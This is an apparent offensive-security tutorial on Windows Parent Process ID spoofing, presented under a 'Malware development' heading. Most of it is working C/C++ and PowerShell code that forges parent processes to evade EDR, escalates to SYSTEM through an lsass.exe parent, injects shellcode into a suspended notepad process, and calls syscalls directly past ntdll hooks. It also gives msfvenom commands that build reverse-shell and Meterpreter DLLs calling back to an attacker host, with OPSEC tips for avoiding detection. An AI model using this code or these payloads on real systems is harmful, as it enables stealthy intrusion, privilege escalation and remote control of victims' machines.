ᛉ Yggdrasil

Malware development

Parent Process ID (PPID) Spoofing

21 Sep 2026 · 7,333 words · 33 min

Contents

Legend: [SPOOF] = Spoofing technique | [PRIV-ESC] = Privilege escalation vector | [OPSEC] = Operational Security note | [DETECT] = Detection vector | [EVASION] = Bypass technique | [TOOL] = Tool reference | [API] = Windows API reference | [MITRE] = ATT&CK mapping


1. What is PPID Spoofing

What it means: Every process in Windows has a Parent Process ID (PPID) — the PID of the process that spawned it. Security tools, EDRs, and threat hunters heavily monitor parent-child process relationships to detect malicious behaviour (e.g., Word.exe spawning cmd.exe = phishing).

PPID Spoofing is a technique that lets an attacker forge the parent process of any newly spawned process. Instead of the real creator showing in the process tree, a chosen legitimate process (like explorer.exe or svchost.exe) appears as the parent.

Normal process creation (Word spawns PowerShell):
  Word.exe (PID: 1234)
      └─ PowerShell.exe (PPID: 1234)     ← EDR ALERT: Office spawned powershell!

PPID Spoofing (Word spawns PowerShell, but claims explorer.exe is parent):
  Word.exe (PID: 1234)                    ← Real creator (invisible to most tools)
  explorer.exe (PID: 2456)
      └─ PowerShell.exe (PPID: 2456)     ← Looks like user launched it normally

[MITRE] T1134.004 — Access Token Manipulation: Parent PID Spoofing - Tactic: Defense Evasion (TA0005) + Privilege Escalation (TA0004) - Platforms: Windows - Required Privilege: Any (low priv for evasion, admin for SYSTEM-token escalation)


2. Why It Matters — The Process Tree Problem

The core detection model most defenders rely on:

Threat Hunters / EDR behavioral rules:
  ├─ cmd.exe parent = powershell.exe   → ALERT (lateral movement)
  ├─ PowerShell parent = winword.exe   → ALERT (phishing/macro)
  ├─ mshta.exe parent = excel.exe      → ALERT (phishing)
  ├─ cmd.exe parent = svchost.exe      → LOW RISK (normal Windows behavior)
  └─ notepad.exe parent = explorer.exe → BENIGN (user launched)

Why attackers need PPID Spoofing:

Attack Scenario Without Spoofing With Spoofing
Macro drops and runs payload Office.exe → cmd.exe → ALERT cmd.exe claims explorer.exe parent → clean
C2 beacon spawns post-ex jobs malware.exe → powershell.exe → ALERT powershell.exe claims svchost.exe → clean
Lateral movement via SMB psexec → cmd.exe → ALERT cmd.exe claims services.exe → clean
Shellcode runner spawns calc loader.exe → calc.exe → suspicious calc.exe claims explorer.exe → benign
Spawning tools on a host Any unusual parent → flagged Blend with normal process trees

[OPSEC] PPID Spoofing defeats signature-based parent/child rules but does NOT defeat ETW-level kernel telemetry which tracks the actual creating process. See Section 16.


3. Windows Process Internals — How Parenting Works

How Windows normally tracks parent processes:

When CreateProcess() is called:
  ├─ Kernel creates EPROCESS structure for new process
  ├─ InheritedFromUniqueProcessId field = PID of calling process
  ├─ This becomes the PPID shown in Task Manager / Process Explorer
  └─ This is what most tools read via NtQuerySystemInformation

The PPID stored in EPROCESS:
  ├─ Is just a number — Windows doesn't validate it
  ├─ Can be set to ANY PID via PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
  └─ The kernel records BOTH: the fake PPID AND the real creating process PID

Key structures involved:

// STARTUPINFOEXA — Extended startup info that carries the attribute list
typedef struct _STARTUPINFOEXA {
    STARTUPINFOA StartupInfo;           // Standard startup info (cb, etc.)
    LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList;  // ← where PPID goes
} STARTUPINFOEXA;

// PROC_THREAD_ATTRIBUTE_LIST is an opaque structure initialized with:
//   InitializeProcThreadAttributeList()
//   UpdateProcThreadAttribute()     ← sets PROC_THREAD_ATTRIBUTE_PARENT_PROCESS

The attribute mechanism (how the fake parent is passed):

Step 1: OpenProcess(target_parent_pid)           → get HANDLE to desired fake parent
Step 2: InitializeProcThreadAttributeList(...)   → allocate attribute list
Step 3: UpdateProcThreadAttribute(
            PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, 
            &parentHandle)                        → tell CreateProcess: use this as parent
Step 4: CreateProcess(... EXTENDED_STARTUPINFO_PRESENT ...)  → spawn child with fake PPID

[API] Full API call chain from Win32 down to kernel:

kernel32!CreateProcessA / CreateProcessW
    └─ kernel32!CreateProcessInternalW
        └─ ntdll!NtCreateUserProcess             ← lowest Win32-accessible level
            └─ nt!PspCreateProcess               ← kernel, always knows real creator

4. Core API Chain — CreateProcess + STARTUPINFOEX

The three key APIs for PPID spoofing:

4.1 OpenProcess — Get Handle to Fake Parent

// Signature:
HANDLE OpenProcess(
    DWORD dwDesiredAccess,   // Access rights needed
    BOOL  bInheritHandle,    // Whether child inherits this handle
    DWORD dwProcessId        // PID of target parent process
);

// For PPID spoofing, you need PROCESS_CREATE_PROCESS access:
HANDLE parentHandle = OpenProcess(
    PROCESS_CREATE_PROCESS,  // Minimum required
    FALSE,
    targetPID
);

// MAXIMUM_ALLOWED also works (broader, slightly more detectable):
HANDLE parentHandle = OpenProcess(MAXIMUM_ALLOWED, FALSE, targetPID);

4.2 InitializeProcThreadAttributeList — Allocate Attribute List

// Signature:
BOOL InitializeProcThreadAttributeList(
    LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList,  // Buffer (NULL first call = get size)
    DWORD                        dwAttributeCount,  // Number of attributes (1 for PPID)
    DWORD                        dwFlags,           // Reserved, must be 0
    PSIZE_T                      lpSize             // Size returned on first call
);

// Usage — two-call pattern (first call to get size, second to initialize):
SIZE_T attributeSize;
InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);  // Get required size
si.lpAttributeList = HeapAlloc(GetProcessHeap(), 0, attributeSize);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);  // Init

4.3 UpdateProcThreadAttribute — Set the Fake Parent

// Signature:
BOOL UpdateProcThreadAttribute(
    LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList,
    DWORD                        dwFlags,           // Reserved, must be 0
    DWORD_PTR                    Attribute,         // What attribute to set
    PVOID                        lpValue,           // Pointer to value
    SIZE_T                       cbSize,            // Size of value
    PVOID                        lpPreviousValue,   // Usually NULL
    PSIZE_T                      lpReturnSize       // Usually NULL
);

// For PPID spoofing:
UpdateProcThreadAttribute(
    si.lpAttributeList,
    0,
    PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,  // ← This is the magic flag
    &parentHandle,                          // ← Handle to desired fake parent
    sizeof(HANDLE),
    NULL,
    NULL
);

4.4 CreateProcess — Spawn with Fake Parent

// Must pass EXTENDED_STARTUPINFO_PRESENT flag + cast si to LPSTARTUPINFOA
CreateProcessA(
    NULL,                          // lpApplicationName
    (LPSTR)"target.exe",          // lpCommandLine
    NULL,                          // lpProcessAttributes
    NULL,                          // lpThreadAttributes
    FALSE,                         // bInheritHandles
    EXTENDED_STARTUPINFO_PRESENT,  // ← CRITICAL: tells kernel to read attribute list
    NULL,                          // lpEnvironment
    NULL,                          // lpCurrentDirectory
    &si.StartupInfo,               // ← Pass STARTUPINFOA* (cast from STARTUPINFOEXA)
    &pi                            // PROCESS_INFORMATION output
);

5. Technique 1 — Classic PPID Spoofing (C/C++)

What it does: Spawns a target process (e.g., notepad.exe) with a hardcoded or chosen fake parent PID. The simplest, most direct implementation — basis for everything else.

5.1 Minimal PPID Spoofing (Hardcoded PID)

// ppid_spoof_basic.cpp
// Compile: cl.exe ppid_spoof_basic.cpp /Fe:ppid_spoof.exe
// or: x86_64-w64-mingw32-g++ ppid_spoof_basic.cpp -o ppid_spoof.exe -lntdll

#include <windows.h>
#include <TlHelp32.h>
#include <iostream>

int main()
{
    STARTUPINFOEXA si;
    PROCESS_INFORMATION pi;
    SIZE_T attributeSize;

    ZeroMemory(&si, sizeof(STARTUPINFOEXA));

    // ─── Step 1: Open handle to fake parent (igfxTray.exe = PID 6200 in this example)
    HANDLE parentProcessHandle = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, 6200);
    if (!parentProcessHandle) {
        std::cerr << "[-] OpenProcess failed: " << GetLastError() << std::endl;
        return 1;
    }

    // ─── Step 2: Allocate attribute list
    InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
    si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(
        GetProcessHeap(), 0, attributeSize
    );
    InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);

    // ─── Step 3: Set PPID attribute
    UpdateProcThreadAttribute(
        si.lpAttributeList, 0,
        PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
        &parentProcessHandle, sizeof(HANDLE),
        NULL, NULL
    );

    si.StartupInfo.cb = sizeof(STARTUPINFOEXA);

    // ─── Step 4: Create process with spoofed PPID
    if (!CreateProcessA(
            NULL, (LPSTR)"notepad",
            NULL, NULL, FALSE,
            EXTENDED_STARTUPINFO_PRESENT,
            NULL, NULL,
            &si.StartupInfo, &pi))
    {
        std::cerr << "[-] CreateProcess failed: " << GetLastError() << std::endl;
    } else {
        std::cout << "[+] Spawned notepad.exe with spoofed PPID!" << std::endl;
        std::cout << "[+] Child PID: " << pi.dwProcessId << std::endl;
    }

    // ─── Cleanup
    DeleteProcThreadAttributeList(si.lpAttributeList);
    HeapFree(GetProcessHeap(), 0, si.lpAttributeList);
    CloseHandle(parentProcessHandle);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);

    return 0;
}

5.2 Compilation Commands

# MSVC (on Windows):
cl.exe ppid_spoof_basic.cpp /Fe:ppid_spoof.exe

# MinGW cross-compile (from Linux → Windows x64):
x86_64-w64-mingw32-g++ ppid_spoof_basic.cpp -o ppid_spoof.exe -lntdll

# With debug info:
cl.exe ppid_spoof_basic.cpp /Fe:ppid_spoof.exe /Zi /Od

[OPSEC] Using MAXIMUM_ALLOWED instead of PROCESS_CREATE_PROCESS in OpenProcess is louder — EDRs flag broad access requests on sensitive processes. Prefer the minimum required access right.


6. Technique 2 — Dynamic PID Lookup + Spoofing

What it does: Instead of hardcoding a PID (which changes on every boot), this technique dynamically finds a target process by name at runtime using CreateToolhelp32Snapshot, then spoofs it as the parent.

6.1 Find PID by Name + Spoof

// ppid_spoof_dynamic.cpp — Dynamic PID resolution + PPID spoofing
// Target: spawn cmd.exe claiming explorer.exe as parent

#include <windows.h>
#include <TlHelp32.h>
#include <stdio.h>
#include <string.h>

// ─── Helper: Find PID of a process by name ───────────────────────────────────
DWORD FindProcessPID(const char* processName) {
    PROCESSENTRY32 pe32 = { 0 };
    pe32.dwSize = sizeof(PROCESSENTRY32);

    // Snapshot of all running processes
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE) return 0;

    if (Process32First(hSnapshot, &pe32)) {
        do {
            if (_stricmp(pe32.szExeFile, processName) == 0) {
                CloseHandle(hSnapshot);
                return pe32.th32ProcessID;  // Return first match
            }
        } while (Process32Next(hSnapshot, &pe32));
    }

    CloseHandle(hSnapshot);
    return 0;
}

// ─── PPID Spoofing Function ───────────────────────────────────────────────────
BOOL SpawnWithFakeParent(const char* parentName, const char* childProcess) {

    // Step 1: Find the fake parent's PID
    DWORD parentPID = FindProcessPID(parentName);
    if (!parentPID) {
        printf("[-] Could not find process: %s\n", parentName);
        return FALSE;
    }
    printf("[*] Found %s → PID: %lu\n", parentName, parentPID);

    // Step 2: Open handle to fake parent
    HANDLE hParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, parentPID);
    if (!hParent) {
        printf("[-] OpenProcess failed: %lu\n", GetLastError());
        return FALSE;
    }

    // Step 3: Setup STARTUPINFOEXA
    STARTUPINFOEXA si = { 0 };
    PROCESS_INFORMATION pi = { 0 };
    SIZE_T cbAttrList = 0;

    si.StartupInfo.cb = sizeof(STARTUPINFOEXA);

    // Get required size for attribute list
    InitializeProcThreadAttributeList(NULL, 1, 0, &cbAttrList);
    si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(
        GetProcessHeap(), HEAP_ZERO_MEMORY, cbAttrList
    );

    if (!InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &cbAttrList)) {
        printf("[-] InitializeProcThreadAttributeList failed: %lu\n", GetLastError());
        return FALSE;
    }

    // Step 4: Set parent process attribute
    if (!UpdateProcThreadAttribute(
            si.lpAttributeList, 0,
            PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
            &hParent, sizeof(HANDLE),
            NULL, NULL)) {
        printf("[-] UpdateProcThreadAttribute failed: %lu\n", GetLastError());
        return FALSE;
    }

    // Step 5: Create process (child will show parentName as its parent)
    char cmdLine[MAX_PATH];
    strncpy_s(cmdLine, childProcess, MAX_PATH);

    if (!CreateProcessA(
            NULL, cmdLine,
            NULL, NULL, FALSE,
            EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE,
            NULL, NULL,
            &si.StartupInfo, &pi)) {
        printf("[-] CreateProcess failed: %lu\n", GetLastError());
        return FALSE;
    }

    printf("[+] Spawned '%s' (PID: %lu) with fake parent '%s' (PID: %lu)\n",
           childProcess, pi.dwProcessId, parentName, parentPID);

    // Cleanup
    DeleteProcThreadAttributeList(si.lpAttributeList);
    HeapFree(GetProcessHeap(), 0, si.lpAttributeList);
    CloseHandle(hParent);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);

    return TRUE;
}

int main() {
    // Spawn cmd.exe — make it look like explorer.exe launched it (normal user activity)
    SpawnWithFakeParent("explorer.exe", "cmd.exe");

    // Spawn PowerShell — make it look like svchost.exe launched it
    // SpawnWithFakeParent("svchost.exe", "powershell.exe");

    return 0;
}

6.2 Finding a Good Target Process to Spoof

# On target Windows machine — enumerate good candidates:
tasklist /v                              # All processes + owners
Get-Process | Select-Object Name, Id, CPU | Sort-Object CPU  # PowerShell
wmic process get Caption,ProcessId,ParentProcessId           # WMIC

# Ideal PPID spoof targets (high trust, always running, common parents):
explorer.exe   - User desktop context (PID changes per session)
svchost.exe    - Service host (multiple instances, trusted)
services.exe   - Service control manager
spoolsv.exe    - Print spooler (commonly trusted)
lsass.exe      - Local Security Authority (SYSTEM token — for privesc)
winlogon.exe   - Windows logon (SYSTEM)
taskhostw.exe  - Task host (common for scheduled task masking)

7. Technique 3 — PowerShell PPID Spoofing (PPID-Spoof)

What it does: F-Secure (now WithSecure) released PPID-Spoof.ps1 — a PowerShell script containing embedded C# that wraps the CreateProcess APIs. It also supports injecting a DLL into the spawned process, making it directly usable with C2 frameworks.

7.1 Setup and Usage

# Download:
# https://github.com/countercept/ppid-spoofing/blob/master/PPID-Spoof.ps1

# Import the module
Import-Module .\PPID-Spoof.ps1

# Basic usage — spawn notepad.exe under explorer.exe's PID
$ppid = Get-Process -Name "explorer" | Select-Object -ExpandProperty Id
PPID-Spoof -ppid $ppid -spawnto "C:\Windows\System32\notepad.exe" -dllpath ".\payload.dll"

# Spawn under PowerShell's context
$ppid = Get-Process -Name "powershell" | Select-Object -ExpandProperty Id
PPID-Spoof -ppid $ppid -spawnto "C:\Windows\System32\notepad.exe" -dllpath ".\payload.dll"

# Attempt SYSTEM — spoof LSASS as parent (requires admin)
$ppid = Get-Process -Name "lsass" | Select-Object -ExpandProperty Id
PPID-Spoof -ppid $ppid -spawnto "C:\Windows\System32\lsass.exe" -dllpath ".\payload.dll"

7.2 Generate Payload DLL with msfvenom

# Reverse TCP shell as DLL payload (for injection into spoofed child)
msfvenom -p windows/x64/shell_reverse_tcp \
    exitfunc=thread \
    LHOST=192.168.1.100 \
    LPORT=4444 \
    -f dll \
    -o payload.dll

# Meterpreter DLL (more feature-rich)
msfvenom -p windows/x64/meterpreter/reverse_tcp \
    LHOST=192.168.1.100 \
    LPORT=4444 \
    -f dll \
    -o meterpreter.dll

7.3 C# Backend (Embedded in PPID-Spoof.ps1)

// What PPID-Spoof.ps1 does internally (simplified C# equivalent):

[DllImport("kernel32.dll")]
static extern bool CreateProcess(
    string lpApplicationName,
    string lpCommandLine,
    IntPtr lpProcessAttributes,
    IntPtr lpThreadAttributes,
    bool bInheritHandles,
    uint dwCreationFlags,
    IntPtr lpEnvironment,
    string lpCurrentDirectory,
    ref STARTUPINFOEX lpStartupInfo,
    out PROCESS_INFORMATION lpProcessInformation);

// Key: spawns process suspended, loads DLL via WriteProcessMemory + CreateRemoteThread
// Process flow:
//   1. Spoof PPID using UpdateProcThreadAttribute
//   2. Create child process in SUSPENDED state
//   3. Allocate memory in child via VirtualAllocEx
//   4. Write DLL path to child memory via WriteProcessMemory
//   5. Resolve LoadLibraryA address in child
//   6. CreateRemoteThread(child, LoadLibraryA, dllpath) → DLL loads in child
//   7. Resume child thread

[OPSEC] PPID-Spoof requires a DLL on disk — consider using a memory-only payload or reflective DLL. Writing a DLL path to a child process and calling CreateRemoteThread with LoadLibraryA is a heavily-detected injection pattern.


8. Technique 4 — NtCreateUserProcess (Native API / Syscall Level)

What it does: Bypasses the Win32 CreateProcess layer entirely and calls NtCreateUserProcess directly — or via direct/indirect syscall. This is harder for userland EDR hooks to intercept since those hooks live at the ntdll.dll layer.

[API] Call chain:

kernel32!CreateProcess
    └─ kernel32!CreateProcessInternalW
        └─ ntdll!NtCreateUserProcess        ← We call THIS directly
            └─ syscall (kernel boundary)
                └─ nt!PspCreateProcess       ← kernel

8.1 NtCreateUserProcess — Basic Spawn (C++)

// ppid_nt_create.cpp
// Requires: ntdll.h header (available from PHNT or ReactOS)
// References: https://offensivedefence.co.uk/posts/nt-create-user-process/

#include <Windows.h>
#include "ntdll.h"          // PHNT or custom ntdll typedefs
#pragma comment(lib, "ntdll")

int main() {
    // ─── Step 1: Set image path (NT format — not Win32 format!)
    UNICODE_STRING NtImagePath;
    RtlInitUnicodeString(
        &NtImagePath,
        (PWSTR)L"\\??\\C:\\Windows\\System32\\cmd.exe"  // NT path prefix required
    );

    // ─── Step 2: Create process parameters
    PRTL_USER_PROCESS_PARAMETERS ProcessParameters = NULL;
    RtlCreateProcessParametersEx(
        &ProcessParameters,
        &NtImagePath,
        NULL,   // DllPath
        NULL,   // CurrentDirectory
        NULL,   // CommandLine
        NULL,   // Environment
        NULL,   // WindowTitle
        NULL,   // DesktopInfo
        NULL,   // ShellInfo
        NULL,   // RuntimeData
        RTL_USER_PROCESS_PARAMETERS_NORMALIZED
    );

    // ─── Step 3: Setup PS_CREATE_INFO
    PS_CREATE_INFO CreateInfo = { 0 };
    CreateInfo.Size  = sizeof(CreateInfo);
    CreateInfo.State = PsCreateInitialState;

    // ─── Step 4: Setup PS_ATTRIBUTE_LIST (image name attribute)
    PPS_ATTRIBUTE_LIST AttributeList = (PS_ATTRIBUTE_LIST*)RtlAllocateHeap(
        RtlProcessHeap(), HEAP_ZERO_MEMORY, sizeof(PS_ATTRIBUTE_LIST)
    );
    AttributeList->TotalLength            = sizeof(PS_ATTRIBUTE_LIST);
    AttributeList->Attributes[0].Attribute = PS_ATTRIBUTE_IMAGE_NAME;
    AttributeList->Attributes[0].Size      = NtImagePath.Length;
    AttributeList->Attributes[0].Value     = (ULONG_PTR)NtImagePath.Buffer;

    // ─── Step 5: Call NtCreateUserProcess
    HANDLE hProcess, hThread = NULL;
    NTSTATUS status = NtCreateUserProcess(
        &hProcess, &hThread,
        PROCESS_ALL_ACCESS, THREAD_ALL_ACCESS,
        NULL, NULL,             // Object attributes
        0, 0,                   // Process/Thread flags
        ProcessParameters,
        &CreateInfo,
        AttributeList
    );

    if (NT_SUCCESS(status)) {
        printf("[+] NtCreateUserProcess succeeded!\n");
    } else {
        printf("[-] NtCreateUserProcess failed: 0x%08X\n", status);
    }

    return 0;
}

8.2 Adding PPID Spoofing to NtCreateUserProcess

// PPID spoof via NtCreateUserProcess — expand the attribute list to 2 entries
// Entry 0: Image name (required)
// Entry 1: Parent process handle (for PPID spoofing)

HANDLE hParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, targetPPID);

// Allocate space for 2 attributes
PPS_ATTRIBUTE_LIST AttributeList = (PS_ATTRIBUTE_LIST*)RtlAllocateHeap(
    RtlProcessHeap(), HEAP_ZERO_MEMORY,
    sizeof(PS_ATTRIBUTE_LIST) + sizeof(PS_ATTRIBUTE)  // +1 extra attribute
);
AttributeList->TotalLength = sizeof(PS_ATTRIBUTE_LIST) + sizeof(PS_ATTRIBUTE);

// Attribute 0 — Image name (mandatory)
AttributeList->Attributes[0].Attribute = PS_ATTRIBUTE_IMAGE_NAME;
AttributeList->Attributes[0].Size      = NtImagePath.Length;
AttributeList->Attributes[0].Value     = (ULONG_PTR)NtImagePath.Buffer;

// Attribute 1 — Parent process (PPID spoof)
AttributeList->Attributes[1].Attribute = PS_ATTRIBUTE_PARENT_PROCESS;
AttributeList->Attributes[1].Size      = sizeof(HANDLE);
AttributeList->Attributes[1].Value     = (ULONG_PTR)hParent;

// Now call NtCreateUserProcess — the kernel sets PPID to hParent's PID
NTSTATUS status = NtCreateUserProcess(..., AttributeList);

8.3 Direct Syscall PPID Spoofing (SysWhispers2/SysWhispers3)

// Use SysWhispers2/3 to generate syscall stubs that bypass ntdll hooks
// https://github.com/jthuraisamy/SysWhispers2

// Generated stub example (SysWhispers2 output):
//   NtCreateUserProcess_Syscall.asm  — direct syscall stub in MASM

// In your C code:
#include "syscalls.h"   // SysWhispers-generated header

// Call the stub directly (bypasses any EDR hooks on ntdll!NtCreateUserProcess)
NTSTATUS status = NtCreateUserProcess(
    &hProcess, &hThread,
    PROCESS_ALL_ACCESS, THREAD_ALL_ACCESS,
    NULL, NULL,
    0, 0,
    ProcessParameters,
    &CreateInfo,
    AttributeList           // Contains PPID spoof attribute
);

// ─── Why this matters:
// EDR hooks: ntdll!NtCreateUserProcess → EDR intercepts call → inspects args → decision
// Direct syscall: skips ntdll entirely → EDR hook is bypassed → harder to inspect

[DETECT] Direct syscalls are detected by EDRs via call stack analysis — the return address doesn't point inside ntdll.dll. Pair with call stack spoofing for better evasion.


9. Technique 5 — PPID Spoofing for Privilege Escalation (SYSTEM via LSASS)

What it does: If you have Administrator rights, you can open a handle to lsass.exe (which runs as NT AUTHORITY\SYSTEM) and use its process token as the parent. The child process inherits the SYSTEM token, giving you SYSTEM-level access without UAC.

Token inheritance chain:
  lsass.exe (NT AUTHORITY\SYSTEM)
      └─ child.exe   ← inherits SYSTEM token via PPID spoof
                        → child runs as SYSTEM!

This works because:
  ├─ New process inherits access token from its parent
  ├─ We fake lsass.exe as parent
  └─ Child gets lsass's SYSTEM token (if we have rights to open lsass)

9.1 Privilege Escalation via LSASS PPID Spoof

// privesc_ppid.cpp — Spawn SYSTEM shell via LSASS PPID spoofing
// REQUIRES: SeDebugPrivilege (Administrator)

#include <windows.h>
#include <TlHelp32.h>
#include <stdio.h>

// Enable SeDebugPrivilege — needed to open lsass.exe
BOOL EnableDebugPrivilege() {
    HANDLE hToken;
    LUID luid;
    TOKEN_PRIVILEGES tp;

    OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken);
    LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid);
    tp.PrivilegeCount           = 1;
    tp.Privileges[0].Luid       = luid;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    return AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
}

DWORD GetPIDByName(const char* name) {
    PROCESSENTRY32 pe = { sizeof(pe) };
    HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (Process32First(snap, &pe)) {
        do {
            if (_stricmp(pe.szExeFile, name) == 0) {
                CloseHandle(snap);
                return pe.th32ProcessID;
            }
        } while (Process32Next(snap, &pe));
    }
    CloseHandle(snap);
    return 0;
}

int main() {

    // ─── Step 1: Enable SeDebugPrivilege
    if (!EnableDebugPrivilege()) {
        printf("[-] Failed to enable SeDebugPrivilege — need Administrator\n");
        return 1;
    }
    printf("[+] SeDebugPrivilege enabled\n");

    // ─── Step 2: Find lsass.exe PID
    DWORD lsassPID = GetPIDByName("lsass.exe");
    if (!lsassPID) {
        printf("[-] lsass.exe not found\n");
        return 1;
    }
    printf("[*] lsass.exe PID: %lu\n", lsassPID);

    // ─── Step 3: Open handle to lsass (requires SeDebugPrivilege)
    HANDLE hLsass = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, lsassPID);
    if (!hLsass) {
        // Try with MAXIMUM_ALLOWED if PROCESS_CREATE_PROCESS fails
        hLsass = OpenProcess(MAXIMUM_ALLOWED, FALSE, lsassPID);
    }
    if (!hLsass) {
        printf("[-] Failed to open lsass.exe: %lu\n", GetLastError());
        return 1;
    }
    printf("[+] Opened lsass.exe handle\n");

    // ─── Step 4: Setup attribute list
    STARTUPINFOEXA si = { 0 };
    PROCESS_INFORMATION pi = { 0 };
    SIZE_T cbAttr = 0;

    si.StartupInfo.cb = sizeof(STARTUPINFOEXA);

    InitializeProcThreadAttributeList(NULL, 1, 0, &cbAttr);
    si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(
        GetProcessHeap(), HEAP_ZERO_MEMORY, cbAttr
    );
    InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &cbAttr);

    UpdateProcThreadAttribute(
        si.lpAttributeList, 0,
        PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
        &hLsass, sizeof(HANDLE),
        NULL, NULL
    );

    // ─── Step 5: Spawn cmd.exe — it inherits SYSTEM token
    char cmd[] = "C:\\Windows\\System32\\cmd.exe";
    if (CreateProcessA(
            NULL, cmd,
            NULL, NULL, FALSE,
            EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE,
            NULL, NULL,
            &si.StartupInfo, &pi)) {
        printf("[+] Spawned SYSTEM cmd.exe! PID: %lu\n", pi.dwProcessId);
        // The cmd.exe is now running as NT AUTHORITY\SYSTEM
    } else {
        printf("[-] CreateProcess failed: %lu\n", GetLastError());
    }

    // Cleanup
    DeleteProcThreadAttributeList(si.lpAttributeList);
    HeapFree(GetProcessHeap(), 0, si.lpAttributeList);
    CloseHandle(hLsass);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);

    return 0;
}

9.2 Using SelectMyParent for SYSTEM Shell

rem SelectMyParent — Didier Stevens' original PoC tool
rem https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/

rem Find lsass PID first:
tasklist | findstr lsass

rem Spawn cmd.exe with lsass as parent (gets SYSTEM token):
SelectMyParent.exe cmd.exe <lsass_pid>

rem Verify — should show NT AUTHORITY\SYSTEM:
whoami

[OPSEC] Opening lsass.exe with any access flags is a HIGH-confidence EDR alert. Many EDRs protect lsass via PPL (Protected Process Light). Consider winlogon.exe, services.exe, or svchost.exe running as SYSTEM instead — less monitored but also carry SYSTEM token.


10. Technique 6 — PPID Spoof + Process Injection (DLL Injection)

What it does: Combines PPID spoofing with process injection. Spawns a legitimate host process with a spoofed parent, then injects shellcode or a DLL into it. The C2 callback comes from the legitimate host process, not the attacker binary.

Attack flow:
  attacker.exe  →  SpawnProcess(notepad.exe, spoofed PPID = explorer.exe)
                       └─ notepad.exe appears as child of explorer.exe
  attacker.exe  →  InjectShellcode(into notepad.exe PID)
                       └─ notepad.exe connects back to C2

  Result: C2 traffic comes from notepad.exe (trusted), under explorer.exe (trusted parent)

10.1 PPID Spoof + Shellcode Injection

// spoof_and_inject.cpp — Spawn target suspended, inject shellcode, resume

#include <windows.h>
#include <TlHelp32.h>
#include <stdio.h>

// ─── Your shellcode here (msfvenom / custom):
// msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=x LPORT=4444 -f c
unsigned char shellcode[] = {
    // Replace with actual shellcode bytes
    0x90, 0x90, 0x90  // NOP sled placeholder
};
unsigned int shellcode_len = sizeof(shellcode);

int main() {
    DWORD parentPID = 0;

    // ─── Find explorer.exe PID
    PROCESSENTRY32 pe = { sizeof(pe) };
    HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (Process32First(snap, &pe)) {
        do {
            if (_stricmp(pe.szExeFile, "explorer.exe") == 0)
                parentPID = pe.th32ProcessID;
        } while (Process32Next(snap, &pe));
    }
    CloseHandle(snap);
    printf("[*] explorer.exe PID (fake parent): %lu\n", parentPID);

    // ─── Setup PPID spoof
    HANDLE hParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, parentPID);
    STARTUPINFOEXA si = { 0 };
    PROCESS_INFORMATION pi = { 0 };
    SIZE_T cbAttr = 0;
    si.StartupInfo.cb = sizeof(STARTUPINFOEXA);

    InitializeProcThreadAttributeList(NULL, 1, 0, &cbAttr);
    si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(
        GetProcessHeap(), HEAP_ZERO_MEMORY, cbAttr
    );
    InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &cbAttr);
    UpdateProcThreadAttribute(si.lpAttributeList, 0,
        PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
        &hParent, sizeof(HANDLE), NULL, NULL);

    // ─── Spawn host process SUSPENDED (so we can inject before it runs)
    if (!CreateProcessA(
            NULL, (LPSTR)"C:\\Windows\\System32\\notepad.exe",
            NULL, NULL, FALSE,
            EXTENDED_STARTUPINFO_PRESENT | CREATE_SUSPENDED,
            NULL, NULL,
            &si.StartupInfo, &pi)) {
        printf("[-] CreateProcess failed: %lu\n", GetLastError());
        return 1;
    }
    printf("[+] Spawned notepad.exe (PID: %lu) SUSPENDED\n", pi.dwProcessId);

    // ─── Inject shellcode into suspended notepad.exe
    LPVOID remoteBuffer = VirtualAllocEx(
        pi.hProcess,
        NULL,
        shellcode_len,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE       // RWX — detectable; use RW first, then RX in prod
    );

    WriteProcessMemory(pi.hProcess, remoteBuffer, shellcode, shellcode_len, NULL);
    printf("[+] Shellcode injected at: 0x%p\n", remoteBuffer);

    // ─── Hijack thread entry point to shellcode, then resume
